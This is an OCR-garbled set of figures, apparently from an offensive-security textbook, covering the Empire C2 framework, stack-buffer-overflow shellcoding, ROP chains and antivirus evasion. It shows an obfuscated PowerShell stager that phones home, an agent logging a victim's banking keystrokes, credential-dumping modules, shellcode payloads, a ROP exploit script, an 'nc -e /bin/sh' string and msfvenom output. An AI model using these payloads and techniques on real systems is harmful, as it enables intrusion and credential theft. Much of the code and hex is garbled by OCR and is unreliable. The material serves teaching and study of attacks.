
credentials Add/display credentials to/from the database. | credentials

disconnect Disconnect from an empire instance disconnect

help Display the help menu for the help

current menu

interact Interact with active agents. interact <agent name>

listeners View all listeners. listeners

plugins View active plugins menu. plugins

Sponsors List of Empire sponsors. Sponsors

(Empire) > usemodule powershell/credentials/DomainPasswordSprayll

powershell/credentials/invoke ntlmextract
powershell/credentials/vault_credential
powershell/credentials/get lapspasswords

powershell/credentials/invoke internal monologue

powershell/credentials/sharpsecdump

powershell/credentials/DomainPasswordSpray 0l

[j-(root-ekali)-[/home/kali]
# cd Empire/data/module source/credentials

[:—(root-wkali)-[/home/m/Empire/data/module_source/credentials]
i

1s

dumpCredStore.psl
Get-VaultCredential.psl

Invoke-DCSync.psl

Invoke-Credentiallnjection.psl Invoke-Mimikatz.psl

Invoke-PowerDump.psl

Invoke-Kerberoast.psl Invoke-SessionGopher.psl

Invoke-TokenManipulation.psl



namespace PsUtils

public class CredMan
{
#region Imports
// D1lImport derives from System.Runtime.InteropServices
[DUlImport("Advapi32.dll", SetlLastError = true, EntryPoint = "CredDeleteW", Char
Set = CharSet.Unicode)]
private static extern bool CredDeleteW([In] string target, [In] CRED_TYPE type,
[In] int reservedFlag);

| [D1lImport("Advapi32.dll1", SetlLastError = true, EntryPoint = "CredEnumerateW", C
harSet = CharSet.Unicode)]

private static extern bool CredEnumerateW([In] string Filter, [In] int Flags, ou
t int Count, out IntPtr CredentialPtr);

[D11Import("Advapi32.d11", SetlastError = true, EntryPoint = "CredFree")]
private static extern void CredFree([In] IntPtr cred);

(Empire) > listeners

Listeners List
[ ID ] Name | Module | Listener Category | Created At | Enabled

(Empire: listeners) > |}

(Empire: uselistener/http) > info

Author @harmjOy

Description Starts a http[s] listener (PowerShell or Python) that uses a GET/POST
approach.

Name HTTP[S]

(Empire: uselistener/http) > [

(Empire) > usestager Jj
~multi/bash
multi/launcher
multi/macro
multi/pyinstaller
multi/war
windows/bunny
windows/shellcode
windows/teensy
windows/cmd_exec




rRecord Options

Name Value Required | Description

Language powershell True Language of the stager to generate.

Listener True Listener to generate stager for.

Obfuscate False False Switch. Obfuscates the launcher
PowerShell code, uses the
ObfuscateCommand for obfuscation
types. For PowerShell only.

ObfuscateCommand | Token\All\1l False The Invoke-Obfuscation command to
use. Only used if Obfuscate switch
is True. For PowerShell only.

OutFile launcher.vbs | False Filename that should be used for
the generated output.

Proxy default False Proxy to use for request (default,
none, or other).

ProxyCreds default False Proxy credentials
([domain\]Jusername:password) to use
for request (default, none, or
other).

StagerRetries 0 False Times for the stager to retry
connecting.

UserAgent default False User-agent string to use for the

staging request (default, none, or
other).




Mim objShell

Set objShell = WScript.CreateObject("WScript.Shell")

command = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAcwBpAG8AbgBUAEEAQgBMA
EUALgBQAFMAVgBFAHIAUWBpAG8AbgAUAEOAQQBKAESAUgAgACOAZWBTACAAMWAPAHSATQA7AFsAUWBSAFMAJABLA
GOALgBOAGUAdAAUAFMARQBSAHYAa(QBjAGUAUABPAEKATgBUAEOAYQBOAEEAZWBFAHIAXQAGADOARQBAAFAAZQBIA
FQAMQAWADAAQwBPAG4AVABIAG4AdQBTADOAMAA7ACQAZQBCAEQARAASAE4AZ(QOB3ACOATWBCAGOAZQBjAHQATABTA
HkAUwBUAGUATQAUAE4ARQBUAC4AVWBFAGIAQWBMAEKAZQBOAFQAOWAKAHUAPQARAEOADWBOAGKADABSAGEALWALA
CAAMAAgACgAVWBPAGAAZABVAHCACWAGAE4AVAAGADYALgAXADSATABXAESAVWA2ADQAOWAgAFQACGBPAGQAZQBUA
HQALWA3ACAAMAATACAACgB2ADOAMQAXAC4AMAAPACAADABPAGSAZQAGAECAZQBj AGSAbwANADSAJABZAGUACGASA
CQAKABbAFQARQB4AFQALgBFAG4AQWBVAEQASQBUAGCAXQAGADOAVQBUAEKAYWBVAEQAZQAUAECARQBOAFMAVABYA
GkATgBHACgAWWBDAESATgBWAGUAUgBUAFOAOgABAEYACgBPAGOAQgBhAHMAZQA2ADQAUWBUAFIASQBUAECAKAANA
GEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQWA4AEEATAB3AEEAeABBAEQAGWBBAEOAZWBBAHUAQQBEAEUAQQBOA
GcAQQAGAEEAQWAOAEEATQBRAEEAdwWBBAEQAZWBBAEWAZWBBAHKAQQBEAEUAQQBNAFEAQQA2AEEARABNAEEATQBBA
EEAPQANACKAKQApPADSAJABOADOAIWAVAGEAZABtAGKAbgAVAGCAZQBOACAACABOAHAAIWATACQAZQBiIAGQAZAAUA
EgARQBhAGQAZQBSAHMALgBBAGQARAAOACCAV(QBzAGUACgATAEEAZWBTAGAAdAANACWAIABIACKAOWAKAEUAY gBKA
EQALgBQAFIATWB4AHKAPQBbHAFMAWQBTAHQARQBNAC4ATgB1LAHQALgBXAGUAQgBSAGUACQBVAEUACWBUAFOADGABA
EQAZQBmAGEAdQBsSAHQAVWBFAEIAUABYAGSAWABSADSAJABTAGIARABEAC4AUABSAGSAeABZACAAQWBYAEUAZABTA
GAAVABIAEEAbABZACAAPQAgAFSAUWBSAFMAVABFAGOALgBOAEUAdAAUAEMACgBTAGQAZQBOAFQAaQBhAEWAQWBBA
GMAaABFAFOAOgAGAEQAZQBGAEEAVQBMAFQATgBFAFQAVWBVAFIASWBDAHIAZQBKAGUAbgBUAEKAQQBSAHMAOWAKA
FMAYwBYAGKACABOADOAUABYAG8AeAB5ACAAPQAgACQAZQOBiAGQAZAAUAFAACgBYAHgAeQA7ACQASWASAFSAUWBZA
FMAdABFAGOALgBUAGUAeABUAC4ARQBOAGMAbwBKAEKAbgBHAFOAOgAGAEEAUWBDAEKASQAUAECARQBOAETAWQBUA
EUAUwWAOACCcAcgBIAEEATQA1AFoAOgA4AF8ASQBFAHYAdABWAHWACQB3ACEAUQBKADOAegBPAFTAOWAXAD4AQGBVA
FsAbQBKACCcAKQA7ACQAUgA9AHSAJABEACWAIABLADOAIABBAHIAZWBTADSAJABTADOAMAAUACAAMgA1ADUAOWAWA
C4ALgAyADUANQBBACUAewAKAEOAPQAOACQASgATrACQAUWBbACQAXWBAACSAJABLAFSAJABTACUAJABLAC4AQwBPA
FUAbgBOAFOAKQATADIANQA2ADSAJABTAFSAJABTAFOALAAKAFMAWWAKAEOAXQASACQAUWBbACQASgBAACWAIABTA
FSAJABTAFOATQA7ACQARABBACUAewAKAEKAPQAOACQASQArADEAKQATADIANQA2ADSAJABIADOAKAAKAEgAKWAKA
FMAWWAKAEKAXQAPACUAMgALADYAOWAKAFMAWWAKAEKAXQASACQAUWBhACQASABJADOAJABTAFSAJABIAFOALAAKA
FMAWWAKAEKAXQA7TACQAXWATAGIAWABVAFIAJABTAFsAKAAKAFMAWWAKAEKAXQArACQAUWBbACQASABAACKAIQAYA
DUANgBdAHOATQA7ACQAZQBiAEQARAAUAEgAZ(OBBAGQAZQBYAHMALgBBAEQARAAOACTAQWBVAG8AawBpAGUAIgASA
CIAZgBmAEKASABJAEMAWABWAFEAQQBZAG4APQBxXAFYAUWBhADIARQBmAHUAVWBMAHgAYQAGAFcAZAAOAFoAegAYA
FQAWgBMAGEANQBLAGCAWQA9ACTAKQA7ACQAZABhAFQAQQA9ACQARQBCAGQAZAAUAEQAbWB3AG4ADABVAEEARABEA
GEAdABhACgAJABTAGUACgArACQAdAAPADSAJABIAFYAPQAKAGQAYQBOAGEAWWAWACAALgAZAFOAOWAKAEQAQQBOA

GeG]
<re/empire/client/generated-stagers/launcher.vbs" 5L, 2925B 1,1 Top

1. Deliver the stager via
social engineering

2. The stager executes,
then phones home to the
Empire listener

3. The agent is delivered

(Empire: agents) > agents

rAgents
ID | Name Language Internal IP Username Process PID Delay Last Seen Listener

1 D8P2TFRN | powershell | 192.168.108.173 | SHEFFIELD\Yokwe | powershell | 4748 | 5/0.0 | 2022-01-25 10:47:17 EST | http
(4 seconds ago)




[*] Sending POWERSHELL stager (stage 1) to 192.168.108.173

[#] New agent D8P2TFRN checked in

[+] Initial agent D8P2TFRN from 192.168.108.173 now active (Slack)

[*] Sending agent (stage 2) to D8P2TFRN at 192.168.108.173

[*] Tasked D8P2TFRN to run TASK_CMD_WAIT_SAVE

[*] Agent D8P2TFRN tasked with task ID 1

[+] File Get-Screenshot/SHEFFIELD 2022-01-25 10-48-39.jpg from D8P2TFRN saved

(Empire: D8P2TFRN) > view 4

agent D8P2TFRN
command  function Get-Keystrokes {

param
(

[Parameter(Mandatory = $False)]
[string]

taskID 4

user_id 1

username empireadmin

results

Job started: XUGH1S

Bank of America - Banking, Credit Cards, Loans and Merrill Investing — Mozilla Firefox - 25/01/2022:11:00:04:16
bigshotbanker[Tab] Pleaeesdon'thack!!2333

(Empire: D8P2TFRN) >



Chapter 10: Shellcoding — The Stack

[ eax [ esx |
AX BX
AH_[ AL L ed | BL
| Ecx | x|
[ cx [ ox
[ Ta] Con T o
| Esp | ep |
[ sp_]
I .
[ s ]
SHRTedseck if(dollar.price > dollar.value) {
jnz 0xaa02bccl function.diff += 250;
}
Disassembler Decompiler

0110101010110000100100101001011000010010010110110000100100101

GNU nano 5.4 demo.c *
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {

char buffer[300];

strcpy(buffer, argv[l]);

printf("\n\nI'm sorry, my responses are limited. You must ask the right questions.\n\n");
}
|
L—#( root . kali)-[/home/kali]
./demo test

I'm sorry, my responses are limited. You must ask the right questions.

E{ root - kali)-[/home/kali]
#



(root . kali)-[/home/kali]

./demo zzzzzzzz27227722227222222222772227222222272222222222222222222222222222
2222222222222222222222222222222222222222222222222222222222222222222222222222222
7222722277222222222222222222222222222222222222222222222222222222222222222222222
222222222222 2222222222222222222222Z2ZZZZ2ZZZZZZZZZZZZZZZZ2ZZZZZ2ZZZZZZZ222222222222
22227222727222222222227222222222222222722222222222222272222222222222222222222222
ZZZZZZZZ72ZZZZZZZZZZZZZZ

I'm sorry, my responses are limited. You must ask the right questions.

zsh: segmentation fault ./demo

(gdb)‘run test
Starting program: /home/kali/demo test

Breakpoint 1, main (argc=2, argv=0xbffff664) at demo.c:6

6 printf("\n\nI'm sorry, my responses are limited. You must ask the right questions.\n\n");
(gdb) info registers

eax OxbfTff474 -1073744780

ecx OXbfTff7c6 -1073743930

edx OxbfTff474 -1073744780

ebx 0x404000 4210688

esp OxbTTTT470 OxbfTTT470

ebp Oxbffff5a8 Oxbffff5a8

esi 0xb77tb2000 -1208279040

edi 0xb7Tb2000 -1208279040

eip 0x4011e6 0x4011e6 <main+61l>
eflags 0x282 [ SF IF 1]

cs 0x73 115

SS 0x7b 123

ds 0x7b 123

es 0x7b 123

fs 0x0 0

gs 0x33 51
(gdb) []



(gdb) x/80x $esp

Oxbffff470:
Oxbffff480:
Oxbffff490:
Oxbffff4a0:
Oxbffff4bho:
Oxbffffdco:
Oxbffff4do:
Oxbffffde0:
Oxbffff4fo:
OxXbffff500:
Oxbffff510:
Oxbffff520:
Oxbffff530:
Oxbffff540:
Oxbffff550:
Oxbffff560:
Oxbffff570:
Oxbffff580:
Oxbffff590:
Oxbffff5a0:

(gdb) N

0x00000000
Oxb7fccllo
0xb7dddee8
Oxbffffaf4
Oxb7fff000
0xb7dddee8
Oxbffff584
Ox0000001c
Ox00000000
Ox00004fff
0x004002c7
Oxb7fffaed
0x00000000
0x00000001
0x00400034
0x00000000
0xb71b2000
Oxb7fb23fc
0x00000002
OXbffff5cO

(gdb)'run $(python -c 'print "z"*40@')

Starting program: /home/kali/demo $(python -c¢ 'print

0x74736574
0xb7fdea86
0x00000960
Oxbffff4fo
0xb7dde778
0xf63d4e2e
0xb7fcc3el
Oxbfffffed
0x00000000
0xfo3dde2e
Oxb7fdf2e5
0x00000001
0x00000001
0x00000000
0x00000000
0x00000000
0xb7fe5230
0x00000001
Oxbffff664
0x00000000

"2"*400")

0xb7dd4600
0x00000001
0xb7dde778
0x00000003
0xb7dd48e8
Oxbffff4fo
0x00000000
Oxb7fff000
Ooxfffffabo
Oxb7fffh40
0x0040026¢
Oxb7fcc420
Oxb7fffo80
0x00c30000
Oxb7fff000
0x00400034
0x00000000
0x00404000
Oxbffff670
0x00000000

0xb7fcc420
0x00000001
0xb7fccllo
0x00000000
0x004002c7
0x07blea7l
0x00000000
Oxbffff6e8
0x00000009
Oxbffff584
Oxbffff58¢
0x00000001
0x00000005
0x00000001
0x00000000
0xb7fb3a28
0xb7e04cle
0x0040125b
0x0040122d
0xb7debedb

Breakpoint 1, main (argc=<error reading variable: Cannot access memory at address [SSEYEYEYE>.
argv=<error reading variable: Cannot access memory at address Ox7a7a7a7e>) at demo.c:6

6 printf("\n\nI'm sorry, my responses are limited. You must ask the right questions.\nm\n");

(gdb) info registers

eax
ecx
edx
ebx
esp
ebp
esi
edi
eip
eflags
cs

ss

ds

es

fs

gs
(gdb) N

Breakpoint 1, main (argc=4, argv=0xbffff554) at demo.c:6

Oxbffff2ed
OxXbffff7cO
Oxbffff4oa
0x404000
Oxbffff2ed
Oxbffff418
0xb7th2000
0xb7tb2000
0x4011e6
0x282

0x73

0x7b

0x7b

0x7b

0x0

0x33

-1073745180
-1073743936
-1073744790

4210688
OXbTTTT
OXbTTTT
-120827
-120827

2e0
418
92040
92040

0x4011eb6 <main+61>
[ SF IF ]

115
123
123
123
0
51

6 printf("\n\nl'm sorry, my responses are limited. You must ask the right questions
APART);

(gdb) x/80x $esp

OXbffT360: bx00000000 0x909092090 0x04030201 0x08070605

OXbffff£370: Oxb7fccloO Oxb7fdeaB6 0x00000001 0x00000001



Starting program: /home/kali/demo $(python -c ‘'print "\x90\x90\x90\x90\x90" + "\x01\x02\Xx
03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0F\x10\x11\x12\x13\x14\ x15\x16\x17 \x18\x19\x1la\x1
bAXx1cA\x1d\x1e\x1fAx21\x22\x23\x 24\ x25\x26\x27\x28\x29\ x2a\x2b\x2c\x2d\ x2e\x2F\ x30\x31\x32
Ax33\x34\x35\x36\x37\x38\x39\ x3a\x3b\ x3c\x3d\ x3e\ x3 T\ x40\ x4 1\ x42\ x4 3\ x 44\ x45\ x46\ x4 7\ x48\
x40\ xda\x4b\x4c\x4d\ x4e\ x4\ x50\ x51\x52\ x53\ x54\ x55\ x56\ x57\x58\x59\ x5a\ x5b\x5c\x5d\ x5e\x
5FAX60\Xx61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6 T\XTO\XT7I\XT72\X73\x74\x7
S5\AX76\XT7AXT78\XTN\XT7a\x7Tb\x7c\x7d\ x7e\x7f\x80\x81\x82\ x83\ x84\ x85\x86\x87\x88\ x89\x8a\x8b
\x8c\x8d\x8e\x8T\x90\x91\x92\ x93\ X904\ x95\x96\ x97\ x98\ x99\ x9a\ x9b\ x9c\ x9d\x9e\x9 T\ xab\xal\
xa2\xa3\xad\xa5\xab\xa7\xa8\xa%\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\x
b8\xb9\xba\xbb\xbc\xbd\xbe\xbF\xcO\xcl\xc2\xc3\xcd\xch\xch\xc7\xc8\xc9\xca\xcb\xcc\xcd\xc
e\xcf\xdO\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\ xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xel\xe2\xe3\xed
\xe5\xeb\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\XTONXFINXF2\XFINXFANXFONXTOAXF7AXFB\XxFO\xTa\
xfh\xfc\xfd\xfe" + "\x7a\x7a\x7a\x7a""')

Breakpoint 1, main (argc=2, argv=0xbffff564) at demo.c:6

6 printf("\n\nl'm sorry, my responses are limited. You must ask the right questions
An\n");

(gdb) x/80x $esp

Oxbffff370: 0x00000000 0x90909090 0x03020190 0x07060504
OxbTfff380: 0x0dOcObO8 0x11100f0e 0x15141312 0x19181716
Oxbffff390: 0x1dlclbla 0x22211fle 0x26252423 0x2a292827
Oxbffff3a0: 0x2e2d2c2b 0x3231302f 0x36353433 0x3a393837
Oxbffff3bo: 0x3e3d3c3b 0x4241403f 0x46454443 0x4a494847
OxbTfff3cO: Ox4ed4ddcdb 0x5251504f 0x56555453 0x5a595857
Oxbffff3do: 0x5e5d5c5b 0x6261605f 0x66656463 0x6a696867
Oxbffff3e0: 0x6e6d6cHb 0x7271706f 0x76757473 0x7a797877
Oxbffff3f0: 0x7e7d7c7b 0x8281807f 0x86858483 0x8a898887
OxbTfff400: 0x8e8d8c8b 0x9291908f 0x96959493 0x9a999897
Oxbffff410: 0x9e9d9c9b Oxa2ala09f Oxababada3 Oxaaa%a8a7
Oxbffff420: Oxaeadacab 0xb2blbOaf 0xb6b5b4b3 0xbab9b8b7
Oxbffff430: Oxbebdbcbb 0xc2clcObf 0xcbc5cdc3 Oxcac9c8c7
OxbTfff440: Oxcecdccch 0xd2d1docf 0xd6d5d4d3 0xdad9d8d7
Oxbffff450: Oxdedddcdb Oxe2elebdf OxebebSede3 Oxeae9e8e7
Oxbffff460: Oxeeedeceb Oxf2f1f0ef Oxf6f5f4f3 Oxfafofg8f7
Oxbffffa70: Oxfefdfcfb 0x00000000 Oxb7eb4cle
OxbTfff480: Oxb7fh23fc 0x00000001 0x00404000 0x0040125b
Oxbffff490: 0x00000002 Oxbffff564 Oxbffff570 0x0040122d
Oxbffff4a0: Oxbffff4co 0x00000000 0x00000000 0xb7debe46

Starting program: /home/kali/demo $(python

-c ‘print "\x90"*150 + "\xbf\xd3\xb4\x69\x5c\x

db\xd7A\xd9\x 74\ x 24\ x FA\x5a\x2b\xcO\xb1\x1f\x31\x7a\x15\x83\ xea\x fc\x03\x7a\x11\xe2\x26\xd
e\x63\x02\x FO\xc4\x83\x59%\ xaa\ xb9\x38\ x F4\x4e\x8e\xd9\ x81\ xaf\x23\xa5\ x05\x 74\ xd4\xd9\ x29
\x8a\x25\x4e\x28\x8a\x97\xef\xa5\x6b\xbd\x9%a\xed\x3b\x13\x34\x87\x5a\xdO\x77\x17\x19\x17\
xFe\x01\x6f\xec\x3c\x5a\xcd\x0c\x3F\x%a\ x40\ x6 7\ x3f\xfO\x6c\xfe\xdc\x35\xa7\xcd\xa3\xb3\x
T7Axb7\x1e\x50\xdO\xf5\x66\x1le\x1le\xea\x68\x60\x97\ xe9N\ xa8\x8b\xab\x2c\xcO\ x40\ x03\xd3\xc
3\ xd9\xeb\xec\xad\xcO\xb3\x65\xb5\x73\xF1\x52\x86\x87\x38\x1a\x63\x47\ xba\x19\x93\xa%\x82
\x1F\x6b\x2a\xf2\xad\x6a\x2a\xf2\xda\xal\xaa" + "\x7a\x7a\x7a\x7a"")

I'm sorry, my responses are limited. You must ask the right questions.

Program received signal SIGSEGV, Segmentation fault.

0x00401202 in main (
argc=<error reading variable: Cannot access memory at address Ox7a7a7a’a>,
argv=<error reading variable: Cannot access memory at address 0Ox7a7a7a7e>)
at demo.c:7

7 }



Buffer

EBP
RET Address




Oxbfff1340:

Oxbffff3e0:
Oxbffff3f0:
Oxbffff400:
Oxbffff410:
Oxbffff420:
Oxbffff430:
OxbfffT440:
Oxbffff450:
Oxbffff460:
Oxbffff470:

Ox00000000
0x90909090
0x906909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
OxfOcObebd
0xe2167503
OxalObca3b
0xc552d377
0x214td30c
0x120e3a53
0x8017260b
Oxe9f2a8d5
0x89e555d7
Ox7a7a7a’a

0x90909090
0x90909090
0x906909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0xc9337cl7
0x221d9a35
0x2654e7da
0x8dcd7996
0x3992a040
0xd0517192
Ox6bd6ab82
0x93e2al8e
0x4al195b9f
Ox00000000

0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
Oxc4d99090
0x75311fbl
0x39d58084
0x492b9047
0xa7462708
0xb9ed48fe
0x30ef73ed
0x673ae898
0xab0549682
0x4al8e0df
0x0000P000

0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
0x90909090
OxT42474d9
Oxfced831a
0xd44975b5
O0x4bbc6177
0x37a58c49
Oxd3ed22a6
0x7e0831c3
Oxf8719710
0x6711562f
Oxcad6ledf
Oxb7debedb




Chapter 11: Shellcoding — Bypassing Protections

Performance Options X

Visual Effects Advanced Data Execution Prevention

does it work?

(® Turn on DEP for essential Windows programs and services only

(O Turn on DEP for all programs and services except those | select:

Add.., Remove

Your computer's processor supports hardware-based DEP.

Software-
enforced

Operating system /

Software
DEP
Hardware-
enforced
Processor

DEP




Virtual memory

RAM - immediate
access

uonoensqe NIAIAI

Page file on
hard drive

#include <stdio.h>

/oid main() {

register int esp asm("esp");
printf("ESP is %#010x\n", esp);

[:—{rﬂﬂtn-kali}—[!hume!kali]
# ./stackpoint
ESP is Oxbf952240

[:—{Fﬂﬂt kali)-[/home/kali]
# ./stackpoint
ESP is Oxbfce2feld

[:—{raat kali)-[/home/kalil
# ./stackpoint
ESP is @xbffac370

[:—{raat kali)-[/home/kalil
# ./stackpoint
ESP is Oxbfc45cab




(roote kali)-[/home/kali]
[:; echo @ > /proc/sys/kernel/randomize va space

(roote kali)-[/home/kali]
[:; ./stackpoint
ESP is @xbffff5cO

(roote kali)-[/home/kali]
[:; ./stackpoint
ESP is @xbffff5cO

(roote kali)-[/home/kali]
[:; ./stackpoint
ESP is @xbffff5cO

(roote kali)-[/home/kali]
[:; gcc -0 stackpoint stackpoint.c
stackpoint.c: In function ‘main’:
stackpoint.c:4:2: warning: implicit declaration of function ‘printf’ [-Wimplic
it-function-declaration]

(roote kali)-[/home/kali]
[:; python3 -m pip install ROPgadget

#include <stdio.h=
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv) {
printf("\nBuffer Copier v1.0\n");
char buff[1024];
if (arge '= 2) {
printf(“\nUsage: %s <data to copy=\n", argv[0]);
exit(0);
} else {
strepy(buff, argv([l]);
printf("Buffer: %s\n", buff);
system("echo Data received!");
return 6;

(roote kali)-[/home/kali]
[:; clang -o buff buff.c -no-pie



Symbols from “/home/kali/bufft".
Local exec file:

(gdb) []

[:—{ruotn-kali}—[!hume!kali]
#

ROPgadget --binary buff -

*/home/kali/buff’,

Entry point:
0x08048194 -

0x080481a8
0x080481cc
0x080481ec
0x08048220
0x08048240
0x080482c0
0x08048320
0x08048330
0x08048350
0x08048358
0x08049000
0x08049020
0x08049080
0x080492d8
0x0804a000
0x0804a058
0x0804a094
Ox0804bf04
0x0804bf08
0x0804bfoc
0x0804bffc
0x0804c000
0x0804c020
0x0804c028

(ROPgadget)> load
[+] Loading gadgets, please wait...
[+] Gadgets loaded !
{RUPgadget}> search pop ; pop ; ret

file
0x8049080

0x080481a7
Ox080481cc
0x080481lec
Ox08048220
0x08048240
0x080482cO
Ox0804831f
Ox08048330
0x08048350
0x08048358
Ox08048380
0x08049020
0x08049080
0x080492d5
0x080492ec
0x0804a058
0x0804a004
0x0804al88
OxE804bT0O8
0x0804bT0OC
0x0804bffc
0x0804co00e
0x0804c020
0x0804c028
0x0804ch2c

type elf32-1386.

is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is
is

-depth 5 -

.interp
.note.gnu.build-id
.note.ABI-tag
.hash
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version r
.rel.dyn
rel.plt
.init
plLt
.text
fini
.rodata
.eh_frame hdr
.eh frame
.init array
.fini array
.dynamic
.got
.got.plt
.data

.bss

-console

0x0804901b : add esp, 8 ; pop ebx ; ret

Ox0804901c : les ecx, ptr [eax] ; pop ebx ; ret
Ox08049261 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080492ch : pop ebp ; ret

0x080492c8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804901e : pop ebx ; ret

Ox080492ca : pop edi ; pop ebp ; ret

0x080492c9 : pop esi ; pop edi ; pop ebp ; ret
0x08049263 : popal ; cld ; ret

{RUPgadget}} [ |



0x08049219 <+121=: mov %ecx, 0x4 (%sedx)
0x0804921c <+124>: mov %eax, (%edx)

0x0804921e <+126>: mov %eax, -0x418 (%ebp)
0x08049224 <+132>: call 0x8049040 <strcpy@plt>
0x08049229 <+137>: lea 0x804a038,%ecx
0x0804922F <+143>: mov %ecx, (%sesp)

0x08049232 <+146>: mov -0x418 (%ebp) ,%ecx
0x08049238 <+152>: mov %ecx,0x4 (%esp)
0x0804923¢c <+156=>: mov %eax, -0x41c(%ebp)
0x08049242 <+162>: call 0x8049030 <printf@plt>
0x08049247 <+167>: lea Ox804a044 ,%ecx
0x0804924d <+173>: mov %ecx, (%esp)

0x08049250 <+176>: mov %eax, -0x420(%ebp)
Ox08049256 <+182>: call <system@plt>
0x0804925b <+187>: Xor %ecx,%ecx

0x0804925d <+189=: mov %eax, -0x424 (%ebp)
0x08049263 <+195>: mov %ecx, %eax

0x08049265 <+197>: add $0x438,%esp

0x0804926b <+203>: pop %ebp

[:—{ruotn*kali}—[!hnme!kali]
# python3

Python 3.9.2 (default, Feb 28 2021, 17:03:44)

[GCC 10.2.1 20210110] on linux

Type "help", "copyright", "credits" or "license" for more information.

>>> "', join(set('nc -e /bin/sh -lvnp 1066"))

"lv/6sbn h-eiclop'

>>> |



(roote kali)-[/home/kali]
[:; ROPgadget --binary buff --memstr "lv/6sbn h-eiclOp”
Memory bytes information

Oxe8049090 : '1°
0x0804918e : 'v'
0x0804900c : '/
0x080482e5 : '6'
Ox08049289 : 's'
Ox08048197 : 'b'
0x0804819% : 'n'
0xP8049077 :
0x08049036 :
0x08049135 :
0x0804925¢c :
0xP804819 :
OxP80482aft :
0x08049180 :
0x080482ef : 'O
0x080490aft : 'p'

[:;{iuotn*kali]—[!hnme!kali]

Parameters

Caller
Frame

Local variable

Current Frame

Local variable




Program received signal SIGSEGV, Segmentation fault.

Oxb7dde902 in libc start main (main=0x80491al@ <main>, argc=2,
argv=0xbffff2e4, init=0x8049270 < libc csu init>,
Tini=0x80492d0 < 1libc csu fini>, rtld Tini=0xb7fded480 < dl fini>,
stack end=Bxbffff25c) at ../csu/libc-start.c:332

332 ../csuflibc-start.c: No such file or directory.
(gdb) info registers

eax Ox0 0

ecx Bx0 0

edx Ox0 0

ebx Ox0 0

esp OxbfffflcO Oxbfffflcd

ebp 0x41414141 0x41414141

esi 0x2 2

edi 0x8049080 134516864

eip Oxb7dde902 0xb7dde902 < 1ibc start main+226>
eflags 0x10246 [ PF ZF IF RF ]

cs 0x73 115

55 O0x7b 123

ds 0x7b 123

es Ox7b 123

fs 0x0 0

gs Ox33 51

(gdb) N

from struct import pack

import os

strcpy = pack("<I", 0x08049040)
ppr = pack("<I", 0x080492ca)

X = "z" * 1028

X += strcpy

X += ppr

X += pack("<I", 0x0804c028) # .bss

X += pack("<I", 0x08049289) # "s"

X += strcpy

X += ppr

X += pack("<I", 0x0804c029) # .bss + 1
X += pack("<I", 0x08049036) # "h"

X += strcpy

X += ppr

X += pack("<I", 0x0804cb2a) # .bss + 2
X += pack("<I", Ox0804a@5b) # ";"

X += pack("<I", Ox08049050) # system

X += "zzzz"

X += pack("<I", 0x0804c028) # .bss
is.system{“Ihcmefkalifbuff \Vi%sshY % X))



Chapter 12: Shellcoding — Evading Antivirus

r—(kali® kali) - [~]

—$ msfvenom -p windows/messagebox ICON=INFORMATION TEXT=yeet! TITLE=Message
-T powershell

[-1 No platform was selected, choosing MsfT::Module::Platform::Windows from t

he payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 253 bytes

Final size of powershell file: 1259 bytes

[Byte[l]l $buf = O0xd9,0xeb,0x%,0xd9,0x74,0x24,0xT4,0x31,0xd2,0xb2,0x77,0x31,
BxcO,0x64,0x8b,0x71,0x30,0x8b,0x76,0xc,0x8b,0x76,0x1c,0x8b,0x46,0x8,0x8b,0x7
e,0x20,0x8b,0x36,0x38,0x4f,0x18,0x75,0xT3,0x59,0x1,0xd]l,0xff,0xel,0x60,0x8b,
Ox6c,0x24,0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x1,0xea,0x8b,0x4da,0x18, 0x
8b,0x5a,0x20,0x1,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x]1,0xee, 0x31,0xfT,0x31,
OxcO,0xfc,0xac,0x84,0xcO,0x74,0x7,0xc]l,0xcf,0xd,0x1,0xc?,0xeb,0xf4,0x3b,0x7c
L0x24,0x28,0x75,0xel,0x8b,0x5a,0x24,0x]1,0xeb,0x66,0x8b,0xc, 0x4b,0x8b,0x5a,0x
1c,0x1,0xeb,0x8b,0x4,0x8b,0x1,0xed,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,0x8,0x
29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0xde,0xe,0xec,0x52,0xe8, 0x0T, OxTT,OxTT
LOxTT,0x80,0x45,0x4,0xbb,0x7e,0xd8, 0xe2,0x73,0x87,0x1c,0x24,0x52,0xe8,0x8e,0
XTf,0xff,0xTf,0x89,0x45,0x8,0x68,0x6c,0xbc,0x20,0x4]1,0x68,0x33,0x32,0x2e,0x6
4,0x68,0x75,0x73,0x65,0x72,0x30,0xdb, 0x88,0x5c,0x24,0xa,0x89,0xeb,0x56,0xTT,
Bx55,0x4,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0xdd,0xbc,0x87,0x1c,0x24,0x52,0xe8,0x
5F,0xff,Oxff,0xff,0x68,0x61,0x67,0x65,0x58,0x68,0x4d,0x65,0x73,0x73,0x31, 0xd
